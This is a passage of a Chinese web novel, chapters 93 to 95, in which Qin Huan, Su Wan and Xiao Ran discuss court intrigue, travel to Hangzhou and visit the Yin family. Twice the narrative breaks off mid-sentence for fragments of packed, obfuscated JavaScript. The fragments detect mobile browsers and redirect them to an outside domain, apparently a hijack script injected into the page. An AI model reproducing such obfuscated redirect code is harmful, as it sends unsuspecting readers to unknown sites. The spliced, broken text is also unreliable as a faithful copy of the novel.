言毕,萧染一甩襕衫的袖子,动作带起一阵微风,转身大步离去。 背后的佳人,眼神中闪过一丝几不可察的狡黠。 她离真相,愈来愈近。 自黄河一役后,温如初和温念丢盔卸甲,狼狈逃回京城。朝堂上,皇帝询问南下杭州钦差一事,温如初却守口如瓶,仅含糊说道:“黄河途中遭遇暴风雨,渡船倾覆,多亏侍从相助方才侥幸脱身。” 对于时枫的生死,他也一笔带过,“时将军英勇护卫,风雨中不幸罹难,葬于鱼腹。” 皇帝闻言,不由感叹时枫殉国之忠,追封其为一品“威武将军”,以表彰其功勋,并令其灵位与早在两年前追封为一品“神武将军”的兄长时樾并列,供于太庙,以慰英灵。 那场南下的风波,自此在朝堂上再也无人提起,仿佛被黄河的波涛一并吞没。 月色朦胧,秋意正浓。 秦欢独自坐在书房,面前摊开的宣纸上,是他一遍又一遍书写的药方。经历黄河之变后,苏绾的病情愈发棘手。白日里精神尚且看似正常,夜晚常常噩梦惊醒,频频失眠。他也曾尝试用过几次猛药,效果却微乎其微。 苏绾的病根不在身,而在心。 自她清醒以来,绝口不提任何与时枫相关的信息。甚至连“时枫”这个名字,都仿佛从她的世界抹去。她不问他为何落水,也不追究他溺亡的细节。 对秦欢而言,这种刻意的沉默,让人分不清是好事,还是坏事。 忽然书房的门被猛地推开,萧染怒气冲冲地闯了进来。他挥舞着手臂,宣泄怒火和不满:“你也不管管她?整天拿话噎我,真是一只牙尖嘴利的狐狸!” 他靠在窗台上,双臂交叉揣在袖中,气得脸色涨红,连身子都微微发抖。 秦欢头也不抬,淡淡道:“谁让你嘴笨得像只虾蟆,我可管不着。” 萧染气得语塞,瞪了他一眼,“你!……算了!” 他咬牙切齿,攥拳半天憋不出话反驳,倒真像只笨嘴虾蟆,气得肚子圆鼓鼓。 “虾蟆”肚皮鼓了半日,也无人理睬,只好自己泄了气,转而谈及其他话题:“不过你不觉得不对劲吗?关于‘两个温如初’这件事,她这个当事人只字不提,难道你就不好奇真相?” 真相如何,秦欢心中了然。世间绝无两片相同的叶子,更不可能存有两个完全一致的人。那个从背后浮现的“谋士”,应是温如初无疑,或许更确切得说,是另一个时空的温如初。 其中的曲折与玄机,他虽心存揣测,却无法窥见全貌。不过既然自己能于乱世中重生,温念当然也有可能跨越时空。 只是不知道,这个温念,上一世究竟走了多远,又是带着怎样的算计,来到这一世。 当初自己命丧温念之手时,那些熟悉的面孔,苏绾、时枫、皇帝、皇后等等,皆尚在人间。而此后的世道变局,已非他所能预料。 有一点他很确定:苏绾一定知道得更多。 她不提时枫,不问温如初,甚至连一丝好奇都未显露,仿佛与她毫无干系。 这份刻意的疏离与沉默,只能说明一件事——她知情,却不愿面对,更不愿承认。 秦欢心中叹然,强求不得,也无须多言。他只能静静等待,等待苏绾主动卸下心防。 窗外冷风萧瑟,庭前黄叶纷飞。 两人相对无言之际,书房内却又骤然多了一抹倩影。 苏绾跨进门,脸上挂着盈盈笑意,“表哥,我有一个小小提议。” “咱们动身南下杭州,赶在年节前去探望我的舅舅,你的姨父,好不好?” 93. 动身 秋月穿过竹帘,洒在苏绾的脸上,明明灭灭的光影间,透出一抹若隐若现的兴奋。 秦欢将手中狼毫轻轻搁在案上,身子向椅背靠了靠,握着两手问她:“怎么忽然想去杭州?” 苏绾莞尔道:“杭州素有‘人间天堂’的美称,西湖烟雨,灵隐钟声,我早就想一睹其盛。再者,西湖龙井名冠天下,不亲自尝上一口,岂不辜负此生?” 然而她的一番热情推介,并没有说服秦欢,“杭州虽风景宜人,然山高水长路迢迢,别处山水入不了你的法眼吗?你想不想去徽州看鱼灯?” 见苏绾摇摇头,秦欢垂下眼眸,脸色略显忧虑,“你与苏夫人素来不睦,此番贸然前去,人生地不熟的,我担心她会暗中对你使绊,惹你伤心难过。” 杭州并不是一处安全地方,那里危机四伏,无论是殷潜,还是苏夫人,都令他感到隐隐不安。 苏绾道:“苏夫人虽已与父亲和离,但她终究是苏家嫡母,名义上还是我的长辈。打断骨头连着筋,她便是心存嫌隙,也不至于做得太过。” 顿了顿,她眨了眨星眸,带着几分狡黠的笑意:“更何况,有表哥为我撑腰,她若真敢为难我,岂不是自讨没趣?” 秦欢不置可否,只是定定看着她,像是要透过那双清澈的眼睛,窥见她未说出口的秘密。可苏绾神情如常,波澜不惊,似乎已将一切都掌控在手。她的心,被重重枷锁封住,深藏于不见天日的海底。 萧染忍不住冷笑出声:“你这只狡猾狐狸,心里打的什么算盘,以为我们看不出来?” 他抱臂倚在窗棂上,目光幽幽地盯着苏绾,揶揄道:“我猜,你不过是想借机投奔殷潜,为自己谋一条后路罢了。” “不会说话可以不说!”苏绾冷笑道:“萧小侯爷,你自诩聪明一世,未免太小瞧我了。我若真落魄到,须投机取巧,认贼作父的地步,倒是辱没了苏家门楣。” 眸色一沉,语气转为严肃:“我去杭州,实是为了表哥的前程。” 萧染一怔,满脸不可置信:“为了秦欢?你是真敢胡说八道!怎么不说是为了我呢?” 话一出口,他自己先愣住了,随即脸色涨得通红,尴尬地转过头去。 苏绾翻了翻白眼,懒得理会他,缓步走到案几旁,纤手轻拨香炉上的灰烬。炉中白烟袅袅升起,笼罩清丽面庞,显得更加难以捉摸。 “贵妃与皇后素来不睦,这一点你们比我更清楚。如今皇后怀胎在身,一旦诞下皇子,太子储位岌岌可危。而皇后得势,贵妃与太子将处处受制。若我们不趁早未雨绸缪,迟早会陷入困难险境。” 她的眸光一敛,“殷潜身居高位,他的立场至关重要。我此行赴杭州,正是为了说服殷潜表明态度,助力贵妃,保太子之位。这不仅是为了贵妃,也是为了你们秦氏一族,更是为了我自己。” 复又眼神一哀,“覆巢之下,焉有完卵?我今寄人篱下,尚能苟且偷生,他日若表哥家败势微,我又怎能置身事外?” 这一番话环环相扣,切中时局要害,连秦欢,都为她的思虑深远而感到深深地震撼。 然而,他终究不能盲目听从苏绾一家之谈。局势错综复杂,稍有不慎,便会将她推入深渊。 秦欢垂眸,语气淡然:“话虽如此,然则天子之命,又岂是一家之言能左右?朝堂风云诡谲,局势瞬息万变,其中暗藏的杀机,不是你能够掌控的。” 苏绾纤指随意拂过香炉上的灰烬,又轻轻弹落案几,仿佛在心中盘算着棋局。 良久,她才淡淡开口:“仅靠殷潜确实不够,朝堂斗争从来不是单靠一人之力,还须有兵权加持。我心中已有计较,只是眼下时机未到,暂且不谈。” 秦欢默然,他比谁都清楚,太子废储,贵妃失势,几乎是板上钉钉的事。他唯一能做的,是在局势彻底崩坏之前,请求皇帝准许贵妃返回青州乡下,从此远离权斗纷争。 可苏绾显然不甘心随波逐流。 “贵妃吉人自有天相,我等不过闲云野鹤,不必插手这些宫闱之事。”秦欢试图劝她放弃。 苏绾玉手推开香炉,发出一声难听的声响。她抬眸直视秦欢,“贵妃独处深宫,后方孤立无援。若太子被废,贵妃难逃冷宫之厄。到那时,太子殿下遭构陷,沦为阶下囚,贵妃叫天不应,叫地不灵,悔之晚矣。” 萧染正听得入神,闻听此言,猛地打了个寒颤,“你、你胡说些什么!冷宫、阶下囚……你也太能胡乱揣测了吧!” 苏绾冷笑一声:“自古后宫争斗,左不过就是争宠夺嫡这点破事儿,早被说书人讲烂了。我不过是揭开了,你们心底最害怕面对的真相罢了。” “可惜,世事从来不会因人的胆怯而停止翻覆。若是一味地逃避,等到局势不可挽回之时,再亡羊补牢,又有什么用?” 秦欢听着她的分析,心中波澜起伏。他越来越感觉到,苏绾看得远,藏得深,许多秘密都是他前世今生尚未触及。“冷宫”一说,绝非空穴来风。苏绾必是掌握了某些关键线索,甚至还可能窥见了他未曾注意的危机。 还需要进一步试探她。 秦欢道:“先不说劝和殷潜,难度有几何,即便殷潜肯站队,局势也未必能逆转。圣上心意已决,废储之事恐怕难以翻盘。” 苏绾微微一笑,“不会的。圣上纵使宽仁,也不可能容忍皇后与别人私通生下的孩子。” 一语惊醒梦中人。 秦欢死死盯着苏绾,“你这话是什么意思?” 苏绾笃定道:“皇后诞下的孩子,若非龙种,太子便仍是储君。表哥,这么浅显的道理,难道你还不明白吗?” 这两人你一言我一语,说的都是疯话,萧染简直要抓狂,“你是说……皇后她……证据呢?” 苏绾转向秦欢:“证据不就在贵妃手中吗?” 贵妃身为医女,时常为后宫嫔妃诊治月事不调之症,偶尔也会翻阅娘娘们的宠幸记录。 某次,贵妃无意中撞见皇后与温如初在西苑里私会,二人举止亲昵,令人心生遐想。 然则贵妃是个稳重的性子,与己无关之事,她从不过问打听。 过了一段日子,皇后月事未如期而至,却令宫女守口如瓶,也不许太医院诊断。 贵妃觉得蹊跷,特意调阅了皇后的侍寝记录,惊讶地发现日期存在被篡改过的痕迹。 据贵妃多年来对皇帝龙体的观察,皇帝身体每况愈下,精力不再旺盛,后宫也未再添新嗣。 种种迹象汇聚,贵妃得出一个骇人的结论:皇后腹中的胎儿,很可能并非龙种。 恰逢苏夫人上书给贵妃,血泪控诉不孝女苏绾,指使温如初和时枫,利用权势坑害苏家,造成不可挽回的悲剧。 贵妃与时枫无甚交集,但是温如初与皇后的丑事,她却了解地清清楚楚,遂在皇后面前揭发指责二人苟且。 结果被皇后先发制人,主动向皇帝承认自己怀了龙嗣。皇帝老来得子,高兴得合不拢嘴,哪里还能听进去贵妃的劝诫。 至此,贵妃落败。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867829|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦欢按着太阳穴,无奈道:“这种话,不能随意出口。即便轻而易举揭开了真相,可风暴掀起之后,谁又能承受它的余波?” 苏绾眼中似有星火跃动,“正因为风暴不可避免,我们才不能袖手旁观。太子与贵妃是秦家的根基,若根基崩塌,试问还有谁能独善其身?” 秦欢的目光沉了几分。此路险象环生,稍有差池,便是满盘皆输,他不愿意让她涉足这深不见底的旋涡。 “你可知道,这一步走错,可能会牵连整个秦氏一族?” 苏绾唇角微扬,笑意中藏着几分决绝:“若连输都不敢,又谈何翻盘?世间的每一步棋,都注定有人付出代价。而我,不想成为那个被牺牲的棋子。” 秦欢望着她那双倔强的眼眸,心中复杂至极。他既想护她周全,又不得不承认她的话并非毫无道理。 半晌,他轻叹一声:“既然你心意已决,我不会阻拦。但你必须答应我,若局势不对,立即撤回,绝不可一意孤行。” 苏绾笑意浅浅,“表哥放心,我自会量力而行。” 屋内一时沉寂,月光透过竹帘洒落,映在案几与人影之间,明暗交错。 杭州之行,势在必然。 孰料萧染当场拒绝,冷冷撇开脸:“我才不去。” 杭州远在千里之外,而江北漕帮势力发展正如日中天,他作为毒蛇堂堂主,根本无暇分身南下。 似乎没有人在意他的意见。 结果,萧染抱着满腔怨气,被半哄半劝地推上了南下的马车。 风雨兼程,行途艰辛。 对苏绾单薄的身子骨而言,路途颠簸无异于酷刑。旅途中她常常呕吐不止,高烧不退。每每夜深时分,秦欢守在她床侧,既恨自己未能拦下这场冒险,又怨自己无法为她分担苦楚。 萧染幸灾乐祸道:“早知这般折腾,还不如待在济南喝茶赏花呢。何苦自讨苦吃?” 秦欢冷冷投去一眼,萧染自觉闭了嘴。 更棘手的问题还在后头——苏绾自从渡黄河遭遇惊险后,对船只心生无尽恐惧。无论大小江河,她甫一登船便开始面色苍白,大汗淋漓,心跳加快,继而腿脚发软,甚至昏厥不醒。 为此,秦欢不得不费尽心思,绕过沿途的小溪与河流,但长江天堑,却是无论如何也绕不过去的。 无奈之下,秦欢在苏绾饮食中下了一剂安神猛药,让她沉沉昏睡了三天三夜。待船过长江,又行百里路程,苏绾方才悠悠醒转。 苏绾倚着车壁,自我调侃道:“这一招倒是挺好用,你怎么不早些使呢?” 秦欢以手帕拂去她额头的汗水,满目心疼道:“早用早升天,再这样折腾下去,迟早断送了你这条小命。” 此后他再不敢冒险,吩咐车队放缓行程,务必确保苏绾的安危。 因而,当杭州城的轮廓出现在视野尽头时,已是岁暮寒冬。 满城笼罩在淡淡的薄雾中,街巷里传来孩童的笑声,与爆竹声遥相呼应,透着年关将至的热闹气息。 苏绾掀开车帘,远远望着那雾中隐现的西湖,唇角终于浮现一抹笑意。 “表哥,这就是人间天堂吗?好美呀!” 秦欢看着她略显苍白的侧脸,忍不住戏谑道:“我这位大夫,总算亲手将你送入天堂。” 苏绾笑道:“能与表哥一同上天堂,妹妹真是三生有幸。” 秦欢食指轻叩她的螓首,“你就知道嘴贫,过几日登门拜访殷府,让你吃冷脸闭门羹,看你哭不哭鼻子。” 94. 落脚 萧染果真是个不折不扣的纨绔子弟。 这一路南下,他挥金如土。铺张浪费的行径,让秦欢几次皱眉,只是隐忍未发。 等到入了杭州城,他更是变本加厉,叫嚣着选择闹市区最繁华、最气派的客栈落脚,还理直气壮地宣称:“舟车劳顿了俩月,总得讲究点排场嘛。” 眼前的这座客栈,雕梁画栋,气派非凡。客栈正门高悬朱红匾额,上书三个鎏金大字——“碧霄居”,笔走龙蛇,苍劲有力。屋檐四角高挑,飞檐如翼,琉璃瓦在冬日的阳光中泛着冷幽幽的光泽。院落里青石铺地,四周围满了苍翠的松柏与挺拔的翠竹,清幽之中透着一股奢华的气息。 萧染负着手,缓缓迈入门槛,脸上尽是满意之色。身后的络腮胡指挥手下,搬运行李箱笼,整个队伍都是为他萧染一个人服务。 苏绾冷眼看着这一幕,忍不住讽刺道:“小侯爷真是不知人间疾苦,合着前十几年,你在山西乡下刨的那些土坷垃,都是做梦吧?” 萧染轻笑一声,“本公子自小就有贵气,命里注定享福。苏大小姐要是看不惯,可以住路边茶棚,咱们各住各的,互不相干。” 说罢,他一甩襕衫衣摆,趾高气扬趸进了大堂,活脱脱一副世家公子的架势。 掌柜的见到如此排场的客人,立刻满脸堆笑,亲自迎了上来,拱手作揖:“贵客光临,小店蓬荜生辉!” 店小二弓着腰,前方引路,“这边请,这边请。女眷厢房在二楼,清静幽雅;男宾房间在一楼,出入便利。” 苏绾等人走上二楼,她刚进房间,便一头扑倒在雕花床榻,身子陷入绣满山水的床幔下,舒展着酸痛的四肢,慵懒地吩咐道:“无霜,去叫水来,我要沐浴。” 无霜和春婵两个小丫头忙不迭地下楼张罗热水。小厮说着吴侬软语,这两人听得一头雾水。 “嬷嬷讲勒点细水来~” 春婵满脸茫然,回头看向无霜:“嬷嬷是叫你,还是叫我?什么细水?莫不是让咱俩下河挑水?” 无霜也不明白,“兴许是让咱们先等着。” 二人如此合计,小厮掩嘴偷笑,最后还是比划着将浴桶和热水送到房间里,才算解决了误会。 浴桶准备妥当,水面漂浮着几片舒筋活血的花瓣,氤氲的水汽升腾,弥漫了整个房间。 苏绾解开外衣,露出一身冰肌玉骨,玉足轻轻没入水中。温热的泡澡水,瞬间驱散了一路的疲惫与寒意。 她闭上眼,仰头靠在浴桶边缘,长长地舒了口气,喃喃道:“总算是走到了。” 光影在眼角流转,隐约又捕捉到梦里的那抹玄色身影。指尖泛起酥麻的触感,顺着经脉直达心底,一扯一扯地疼。 苏绾自鼻腔里长长呼出一口气,翻了翻身体,换了个角度,努力将那抹身影从脑海里排除。 她没空想那么多。 沐浴完毕,苏绾从浴桶中坐起身,肌肤被热气熏得透着一层淡粉,宛若初春的桃花。她拍着木桶,轻声呼唤:“无霜,进来更衣。” 等了半晌,无人应答。 此刻无霜和春婵正忙着在楼下同小厮比划,询问哪里有上好的胰子可用。两人听不懂吴语,又不好意思直说,对着小厮的手势胡乱猜测,脸上写满了迷茫。 房内的苏绾等了许久,仍不见人来。她无奈地叹了口气,只好自己站起身,翻身跨出浴桶,离开隔间寻找衣物。 翻遍了衣柜,只找到一件金莎褙子。新的衣裳不知被放置何处,换下来的旧衣被无霜拿去洗涤,眼下手头竟无一件像样的可以遮蔽的衣物。 她穿上褙子,金线织就的纹样,在天光下隐隐流转。褙子轻薄宽松,掩不住肩颈如雪,纤腰盈盈一握。湿润的长发尚未完全干透,乌黑的发丝垂落锁骨两旁,衬得肌肤更加白嫩,吹弹可破。 苏绾随手拨弄湿发,目光落向窗边,那枚镶着墨玉的指环,正静静地躺在窗台。 他送给她的,定情信物。 她从不离身,只在沐浴时短暂脱下,放置在显眼的位置。 她伸手去取指环,刚抓在手里,还未套进指间,忽然脚底一滑,手指不由自主一甩—— 指环飞了出去。 糟糕!那个家伙说了,倘若她把指环弄丢了,他绝不会饶过她! 苏绾脸色骤变,急忙探身到窗外张望。楼下是一片修剪整齐的绿草地,恰好也是一楼男宾出门透气的地方。 偏偏好巧不巧,萧染站在楼下,望着花丛中的倦鸟出神。下一刻,他感到头顶一痛,被什么东西砸了一下。他下意识摸了摸脑袋,抬头仰望,正对上苏绾探出窗外的身影。 此刻苏绾衣襟微敞,浴后的水汽未散,几缕湿发贴在脸颊边,眉眼间透着几分不经意的风情。金莎褙子半掩香肩,肌肤如凝脂般莹润,阳光映在她的眸中,闪烁着淡淡的柔光。 萧染的脑子嗡的一声炸裂,身体急剧升温,鼻尖一热,竟然流了鼻血! 他赶紧低头捂住鼻子,袖口死命地擦拭。 真他奶奶的丢人! 萧染恼羞成怒,抬手一指苏绾,“你想谋杀我吗?!” 苏绾看着他的窘态,忍不住勾唇轻笑,又觉得自己理亏,赶紧收敛神色,缩着身子问道:“你看见我掉的东西了吗?” 萧染四下环顾,很快瞧见草地上躺着那枚金戒指,顶端一颗墨玉在阳光映照下,闪烁着柔和的绿光。 他弯下腰,捡起戒指握在手心,翻来翻去地检查,嘴角一撇,“哪里来的破烂儿货,一文不值。” 苏绾脸色微变,“快些还我!” 萧染望向楼上的她,看她略显狼狈却娇俏的模样,眉眼中满是恼怒与尴尬。他心头微微一动,懒洋洋地拖着长音:“你让我还,我就还,那我多没面子?” “你!”苏绾气得咬牙,双手扶住窗沿,身子又探出了几分,恨不得跳下去抢回指环。 萧染见状,眼中闪过一抹坏笑,故意将指环在手中抛了抛,又背在身后,歪着头睐着她,“东西在我手里,你急也没用。” 说着,他假装认真地端详戒指,装模作样地感慨:“啧啧,这戒指做工也太粗糙了,难怪从天上掉出来都没人抢。你还当做宝贝,不如趁早丢掉!” 苏绾又气又急,脸颊涨得通红,手指紧紧攥着窗沿,声音颤抖:“萧染,你个混蛋!” 萧染见她真地动了气,越发觉得有趣,扬着眉头挑衅:“我偏不还,你奈我何?” 正当他玩得起劲时,耳边响起一道冷冷的声音,仿佛一桶冰水当头泼了下来:“你在胡闹什么?” 萧染猛地一僵,转头看去,秦欢不知何时已站在不远处,神色冷峻。 萧染吐了吐舌头,像做错事的孩子一般,飞快将戒指抛向秦欢,转身撒腿便跑:“给你给你。” 戒指划过一道弧线,被秦欢稳稳接住。他低头看着手中的戒指,指腹轻轻摸索着顶端的墨玉,目光渐渐沉了下来。 这种玉料,他在不同时间不同场合都见过,而其佩戴者唯有一个人。 秦欢抬头看了眼楼上的苏绾,又低头看了看戒指,将戒指握在手心,转身默默离去。 当无霜和春蝉高高兴兴捧着胰子上楼时,苏绾正坐在窗边,懊恼地盯着地板发呆。 她抬眸看见无霜,满目寒云骤然消散,淡声吩咐:“准备一下,咱们要去‘楼外楼’用膳。” “楼外楼”坐落在西湖之畔,游客可凭栏远眺湖光山色,四时景致尽收眼底。自开业以来,名满江南,无数文人墨客慕名前来,推杯换盏,吟诗作赋,将这里推上了“天下第一楼”的地位。 正值晚膳时分,客栈门前的长街挤满了等位的宾客,吆喝声、笑谈声不绝于耳,到处洋溢着年节将至的热闹气氛。 萧染早早订下了二楼的雅间,透过雕花窗棂,欣赏西湖的波光粼粼与远山如黛。雅间内陈设古朴,案几上摆着青花瓷瓶,插着几枝正值季节的红梅,清香幽幽,别有一番风雅。 “本公子选的地方,自然是顶顶好的。”萧染懒洋洋地倚靠椅背,嘴角噙着得意的笑。 苏绾懒得搭理他,转而欣赏窗外的风景。秦欢目光微动,低声提醒:“膳食来了。” 这俩人,从一开始就保持距离,相互间也不对话,好似情侣吵架,令萧染感到莫名其妙。 桌上摆满了“楼外楼”的招牌菜肴:一碟西湖醋鱼,鱼肉雪白细嫩,口感酸咸适中,浇上的酱汁色泽诱人;一盘龙井虾仁,晶莹剔透的虾仁,点缀着几片龙井新芽,味道清香扑鼻;还有一份东坡肉,色泽红亮,肥而不腻,入口即化。最后是一碗宋嫂鱼羹,汤汁浓稠鲜美,令人回味无穷。 萧染夹了一筷子东坡肉,眉飞色舞地嚷嚷:“嗯嗯,就这味道,值了!” 转而睇向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他迅速跟小二结了账,经过旁边那桌时,刀光一闪,动作快如闪电。下一瞬,肥头大耳的纨绔已然惨叫着捂住手腕,轰然跌倒在地。 小姑娘趁机挣脱,提着裙子飞快跑下楼,消失在人群中。 斗笠人未曾停留,只是缓缓收刀入鞘,迈步走向门口。夕阳的余晖洒在他的背影上,显得格外寂寥。他没有回头,也没有说话,好似一阵过堂风,匆匆而过。 苏绾目送那道身影消失,百感交集:“这江湖,终究还有侠义。” 萧染撇了撇嘴,“他可真能装。” 秦欢低头饮了一口茶,目光深沉如夜,若有所思地沉默着。 酒过三巡,几人用完膳时,已是夜半。苏绾推开窗,远眺西湖,夜色如水,湖面微动,映着点点星辉,像一幅铺展开的水墨画。她提议道:“夜还长,不如到湖边走走。” 萧染摆手道:“黑灯瞎火的,有什么好逛的?我才不要去。”说罢,他踉踉跄跄地站起身,由络腮胡搀扶着离开。 西湖的夜风轻柔,带着些许湿润的凉意,吹得湖边的柳条轻轻摇曳。长廊上挂着几盏风灯,灯影沉沉夜气清。 两人并肩而行,脚步轻缓,偶有路人经过,远远瞥上一眼,又默然离去。湖水静谧,湖心三两小船摇曳,桨声点点,似一曲低沉的歌。 苏绾停下脚步,眉头微微蹙起:“我不想坐船。” 秦欢看着她,“不坐就不坐,我们走着。” 两人步上断桥,四周愈发静谧,唯有桥下湖水轻轻拍打的声音。月亮高悬,银辉洒满湖面,桥上像笼着一层淡淡的轻纱。 秦欢站在桥头,怔怔望着苏绾,忽然开口道:“我要等到什么时候,才能得到你的答复?” 苏绾微微一愣,抬眸对上他古井无波的眸子。 长久的沉默。 苏绾觉得胸口像堵着什么,眼泪不知不觉涌了出来,“对不起……” 那三个字,是秦欢最不想听到的字眼。他默默地自袖里掏出什么东西,摊开手掌递到面前。 一只小巧的金指环,顶端一颗墨玉,在月光韶华下,泛着幽幽绿光。 秦欢叹了一口气,拉过玉手,将指环轻轻套在无名指上。 “苏绾,”他酸楚道:“无论多久,我都愿意等。” 眼泪模糊了视线,苏绾缓缓转身,想说什么,却始终没有开口。 桥上的两人沉默着,只有风声和水声在耳畔回荡。 95. 登门 临近年关,天公不作美,淅淅沥沥的小雨笼罩了整个杭州城。 一路上,苏绾的心情如提线木偶般绷紧。虽说此行是她主动挑起的事端,可当车马行至殷家门前时,她反倒生出几分怯意来。她的脸面丢尽事小,连累秦欢一并受辱,才是真正难堪。 秦欢察觉她心绪不宁,低头握住她袖下露出的一只柔荑,掌心微暖,温柔安慰:“没事的,我姨母是很重礼数的人,她准不会为难你。你也不要去管别人,天塌下来,有表哥替你撑着。” 苏绾勉强笑了笑,“我与舅舅舅母从未见过面,旧年都是苏夫人返回钱塘老家探亲。第一次登门拜访,我心里咯噔咯噔的,万一他们连大门都不许我进怎么办?那可丢死人了。” 秦欢睇着她那因害怕而略微泛粉的面颊,越看越喜欢,忍不住上手捏了捏,笑道:“不怕,他们不肯开门,我就让人拿锤子砸开,今日非要你堂堂正正进他的门不可。” 苏绾拍开他的手,假嗔道:“正经些!”她嘴上如是说,心中那份忐忑,倒真被他的玩笑冲散了些许。 自从那晚断桥边的表白之后,秦欢像是放开了禁忌,表达爱意热情又直接,不再是沉默寡言的一张脸。整个人都变得活泼开朗了许多,也霸道了许多。 光是傻等着她的答复,怎么够呢?他已等待了两世,早就磨灭了耐心。 他须主动出击。 车马巍巍而至殷府,一个个礼盒从马车上抬下来,红绸包裹的箱子被整齐地码放在廊下,堆成了一座小山。管事手持礼单,细声核对,生怕有丝毫的疏漏。 众人下了马车。 萧染懒散地拢了拢披风,漫不经心道:“不得不说,这殷府的排场,倒是挺有看头的。” 苏绾微微一笑,“比不得小侯爷的排场。” 萧染被噎了一下,冷哼一声,懒得再接话。他这些日子不知为何,倒是比往日安分了许多,也不怎么与苏绾斗嘴。刚刚来时路上,他甚至刻意避开与苏绾同乘一辆马车,自己单独骑了一匹马。 殷家主母殷薛氏,带着一众仆从迎了出来。 殷薛氏身穿墨绿绣梅花的长裙,发髻梳得一丝不苟,金丝翡翠簪微微泛光,整个人显得雍容华贵又不失威严。 她的目光在苏绾身上淡淡一扫,随即落在秦欢身上,神情顿时变得柔和起来,慈声道:“欢儿来了!姨母盼了你许久,总算等到你了。” 秦欢微微拱手,“劳烦姨母挂念,晚辈问安。” 苏绾福身行礼,“苏绾见过舅母。” 殷夫人淡淡点头,眼中不见波澜,随即吩咐身边的丫鬟:“快请客人入内,别让他们在外头吹风了。” 言毕,殷夫人令下人安排车马,萧染骑的马有些认生,嘶鸣啼啸,就是不肯让小厮靠近,因而二人在院子里耽搁了一下。 厅中火炉烧得正旺,暖意扑面而来,茶香与果脯的甜香在空气中氤氲弥散。 苏夫人端坐侧席,手执茶盏,见苏绾走进来,嘴角浮起一抹淡笑,“真是稀客,太阳打西边出来了。” 仇人相见,分外眼红。 苏绾心中翻涌着怒意,恨不得将无数的嗔恚劈头盖脸泼到苏夫人身上,但眼下是殷家主母的地盘,碍于礼数,她只能将这股火压了下去。 她上前两步,福身行礼:“女儿见过母亲。” “呸!”苏夫人啐了一口,冷声道:“可别叫我母亲,我承受不起。” 苏绾脸色一阵青一阵白,手指攥紧袖边,强忍着怒气,咬牙说道:“母亲话不可这么说。您虽已与父亲和离,但终究是供养女儿长大的母亲,这份名分与恩情,是断不了的。” 苏夫人冷哼一声,眼中尽是厌恶,“还敢提起你父亲,提起和离之事!要不是你和芸娘那个贱人搅合,我怎会落得这般境地?你这只黑心的野鸡子,早晚遭报应!” 来自长辈无边无际的谩骂,令苏绾精神几近崩溃。 忽然一道清朗的声音响起。 “这位——可是姨父的小妹,苏夫人?” 秦欢迈前一步,微微作揖:“晚辈秦欢,见过苏夫人。” 苏夫人正骂在兴头上,被这突如其来的介入弄得一愣。她虽痛恨苏绾,但也不敢在殷夫人的外甥面前失了分寸。苏夫人略显僵硬地直了直身子,放下茶盏,勉强挤出一抹笑容:“原来你就是秦欢啊,长得真是一表人才。” 秦欢长身玉立,态度不卑不亢,“苏夫人莫动怒,表妹千里迢迢来此,只是为了拜见长辈,何必风刀霜剑严相逼?撕破了脸面,对谁都不好。” 苏夫人显然没想到对方竟如此直白,毫不给自己留面子。既然对方不领情,她这做长辈的当给他点颜色看看,遂冷声道:“我在教训我的女儿,跟你有什么关系?” 目光上下扫过秦欢,随即冷冷一笑:“怎么?难道你也是上钩的鱼?” 转而睨向苏绾,声音陡然拔高:“女儿,你可真有本事呐!一个罪王世子,一个祭酒独苗,还不够你祸害,如今又盯上了贵妃亲侄。啧啧,真是让我大开眼界!” 这番话字字诛心,令苏绾心中怒火熊熊燃起,拳头不由自主地握紧,“母亲,您讲话越来越不着调,有失长辈的尊严!” 秦欢拦下她,淡然说道:“苏夫人说得不错。我秦某人确实为了表妹痴狂,今生唯她不娶。若夫人还要疾言厉色,恐怕秦某人就要不客气了。” 他声音不高,却透着一种令人不寒而栗的坚定。 苏夫人被他气势所慑,然则又要保全脸面,悻悻道:“那我倒要看看,你娶不娶得了她!” 正厅内气氛僵滞,针落可闻。这时,殷夫人从院中张罗完礼品与马车的琐事,与萧染说笑着步入正厅。 此二人虽素未谋面,然则殷夫人本家做药材买卖,漕运在其中起着决定性的作用。再加上萧染出身农户,对草药种植有些心得,嘴巴又甜会来事,是以二人十分谈得来,俨然忘年交的架势。 萧染见众人脸色各异,空气中弥漫着一股火药味,不禁挑眉打趣道:“怎么了?你们不是亲戚吗?这会儿龇牙咧嘴的,莫非拜年也要打一架?” 他一边说,一边随意拉了把椅子坐下,毫不客气地抓起一块果脯送入口中,一副看热闹不嫌事大的模样。 殷夫人不动声色,笑着招呼众人落座,吩咐下人上茶上点心。 “老爷尚有公事待办,暂且不能出面会客,还请各位多多包涵。” 她转身安排家中适龄的子女一一出来会面,打破僵局的同时,也将殷府的礼数展现得淋漓尽致。 就在众人稍稍放松之际,苏绾却猛然瞧见一道熟悉的身影,一瘸一拐从侧厅缓步走出——竟然是苏家嫡子苏尽欢。 她一时怔住,脸上的从容险些失控。 一别半年有余,少年眉目间虽有几分病态的清秀,但那懒散的神情、漫不经心的步态,无一不显露出他本性难移。苏尽欢朝众人拱了拱手,随便打了个招呼,“哥哥姐姐,好久不见。” 苏绾冷声问道:“你怎么会在这里?” 苏尽欢没料到她会问话,吓了一跳,“我……我来看娘亲。” 那副唯唯诺诺的模样,与往日里趾高气扬的苏尽欢判若两人,显然他是被苏绾整怕了。 原来苏尽欢被送往热河疗养后,品性不改,身边的婢女被他祸害个遍,闹得满院鸡飞狗跳。嫡女苏沅芷忍无可忍,写信催促苏夫人赶紧派人接走他。而她自己,也在随后被温如初招进宫中当女官。 苏绾得知这层隐情,心中警铃大作。苏沅芷对她恨之入骨,如今恐又同前世一样,做了温如初的面首,祸患安可防。 